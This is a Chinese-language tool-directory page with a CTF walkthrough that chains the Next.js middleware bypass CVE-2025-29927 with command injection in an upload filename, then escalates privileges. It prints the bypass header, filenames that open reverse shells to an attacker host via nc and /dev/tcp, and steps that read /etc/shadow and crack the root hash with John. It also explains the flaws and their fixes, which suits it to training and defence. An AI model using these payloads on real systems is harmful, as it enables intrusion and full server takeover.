Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-29927-Proof-of-Concept — 夺旗挑战:CVE-2025-29927 与命令注入漏洞的组合 | Kitploit
工具/GitHubGitHub/si-ni/cve-2025-29927-proof-of-concept
密码破解权限提升漏洞分析Web应用程序漏洞利用CTF命令与控制学习与教育
GitHubsi-ni/cve-2025-29927-proof-of-concept

CVE-2025-29927-Proof-of-Concept

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

夺旗挑战:CVE-2025-29927 与命令注入漏洞的组合

查看仓库
138个月前尚未审核

逐步教程

步骤 1(5 分钟)

提示 目标暴露了哪些网络服务?

— — —

解决方案

    kali@kali:~$ nmap <TARGET_IP>
    kali@kali:~$ nmap -sC -sV <TARGET_IP> -p <TARGET_PORTS>
  

步骤 2(5 分钟)

提示 1 登录页面只显示了一个登录页面,但网络服务器通常还会暴露其他路径。
提示 2 尝试使用目录暴力破解工具,例如 Gobuster 或 DirBuster。

— — —

解决方案

    kali@kali:~$ gobuster dir -u http://<TARGET_IP>:<TARGET_PORT>/ -w /usr/share/wordlists/dirb/common.txt
  

    ===============================================================
    Starting gobuster in directory enumeration mode
    ===============================================================
    api                  (Status: 307) [Size: 35] [--> /api/auth/signin?callbackUrl=%2Fapi]
    apis                 (Status: 307) [Size: 36] [--> /api/auth/signin?callbackUrl=%2Fapis]
    cgi-bin/             (Status: 308) [Size: 8] [--> /cgi-bin]
    dashboard            (Status: 307) [Size: 41] [--> /api/auth/signin?callbackUrl=%2Fdashboard]
    favicon.ico          (Status: 200) [Size: 25931]
    login                (Status: 200) [Size: 6252]
    Progress: 4613 / 4613 (100.00%)
    ===============================================================
    Finished
    ===============================================================
  

步骤 3(20 分钟)

提示 1 /dashboard 页面重定向到 /login。你能在登录页面上找到任何允许你绕过重定向的信息吗?
图片
提示 2 你能找到关于 Next.js 版本 15.2.2 的什么东西吗?
提示 3 调查 CVE-2025-29927。使用 Burp Suite 的代理拦截请求并在转发前操纵请求头。

— — —

解决方案

背景

许多 Web 应用程序使用中间件保护敏感路由(例如 /dashboard)。中间件检查请求、验证会话 cookie 并确认用户权限。如果检查失败,中间件通常会将用户重定向到 /login。

漏洞机制

CVE-2025-29927 是 Next.js 中间件处理中的一个设计缺陷。它允许攻击者通过利用 x-middleware-subrequest 头来完全绕过中间件保护。Next.js 内部使用此头来防止无限中间件循环。当处理请求时,runMiddleware 函数检查请求头:
  • 如果存在 x-middleware-subrequest
  • 并且其值包含中间件名称
  • 那么 Next.js 会跳过中间件执行并直接转发请求
这原本是一种内部优化,但缺陷在于外部用户也可以设置此头。

漏洞代码


    const subreq = params.request.headers["x-middleware-subrequest"];
    const subrequests = typeof subreq === "string" ? subreq.split(":") : [];
    if (subrequests.includes(middlewareInfo.name)) {
      result = {
        response: NextResponse.next(),
        waitUntil: Promise.resolve(),
      }
      continue;
    }
  

对于 13.2.0 及更高版本

Next.js 引入了中间件执行的最大递归深度。这是为了防止无限循环,但不影响漏洞。
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
通过使用这个头,我们告诉中间件:"这已经是中间件生成的请求——不要再执行中间件。"
图片 图片

修复

Next.js 现在会在中间件运行之前从所有传入的外部请求中移除 x-middleware-subrequest 头。该头仅在 Next.js 运行时内部合法中间件链创建时才可信。具体来说,x-middleware-subrequest 值现在会针对随机生成的十六进制字符串进行验证,确保只有合法的内部会话请求通过授权检查。因此,即使攻击者发送了该头,Next.js 现在也能区分真实的内部子请求(携带正确随机生成的令牌)和外部攻击者伪造的请求。

步骤 4(15 分钟)

提示 1 文件上传也受中间件保护,因此你必须在每次请求中发送步骤 3 中的头。
提示 2 用户输入始终存在高风险。这里除了文件内容外,还有什么被视为用户输入?你能在页面上找到任何揭示图像处理方式的信息吗?
提示 3 尝试一些恶意文件名。https://www.revshells.com/

— — —

解决方案

解释


    const filename = file.name; // VULNERABLE: No sanitization!
    const sanitizedFilename = filename.replace(/[><&|;$\\:"'!\*\?\#\/]/g, '_')
    const filepath = join(uploadsDir, sanitizedFilename);
    await writeFile(filepath, buffer);
    
const command = `convert ${filepath} -resize 100x100 ${join(uploadsDir, 'resized_' + filename)}`;
return new Promise((resolve) => { exec(command, { shell: '/bin/bash', timeout: 0, maxBuffer: 1024*1024*10 }, (error, stdout, stderr) => { ...
原始文件名由用户控制,可能包含恶意字符。开发者移除了一些危险字符(黑名单而非白名单)。convert 命令使用 exec() 执行,原始文件名(用户输入)直接插入到 shell 命令中。一种修复方法是使用随机生成的文件名替代用户文件名,并使用避免 shell 的安全 API。

利用


    kali@kali:~$ nc -lvnp 4000
    listening on [any] 4000 ...
  
恶意文件名:

    image.jpeg; nc -c sh <ATTACKER_IP> 4000 #
    image.jpeg; sh -i >& /dev/tcp/<ATTACKER_IP>/4000 0>&1 #
  
图片

    kali@kali:~$ nc -lvnp 4000
    listening on [any] 4000 ...
    connect to [<ATTACKER_IP>] from (UNKNOWN) [<TARGET_IP>] 48056
  
flag 位于 /home/webuser:

    FLAG{C0mmand_Inj3cti0n_Pwn3d_W3bUs3r}
  

附加(5 分钟)

提示 1 webuser 拥有哪些 sudo 权限?
提示 2 类似 John the Ripper 或 Hashcat 的工具可能会有帮助。使用命令 gzip -d /usr/share/wordlists/rockyou.txt.gz 解压文件 rockyou.txt.gz。

— — —

解决方案

    target@target:~$ sudo -l
    Matching Defaults entries for webuser on photoresizer:
      env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
    User webuser may run the following commands on photoresizer:
      (ALL) NOPASSWD: /usr/bin/cat /etc/shadow
  

    target@target:~$ sudo cat /etc/shadow
    root:$y$j9T$TFel.0zggnQz2yEp.7MBC1$iIt1wXquUnbUizBTgQdtec33PdU1a1L7ReOD2cIfij0:20481:0:99999:7:::
  

    kali@kali:~$ echo 'root:$y$j9T$TFel.0zggnQz2yEp.7MBC1$iIt1wXquUnbUizBTgQdtec33PdU1a1L7ReOD2cIfij0:20481:0:99999:7:::' > hash.txt
    kali@kali:~$ john --format=crypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
    rockyou          (root)     
    1g 0:00:00:00 DONE (2026-02-01 05:42) 1.639g/s 157.3p/s 157.3c/s 157.3C/s 123456..yellow
  

    target@target:~$ su - root
  
flag 位于 /root:

    FLAG{Pr1v1l3g3_Esc4l4t10n_R00T_C0mpr0m1s3d}
  
下载工具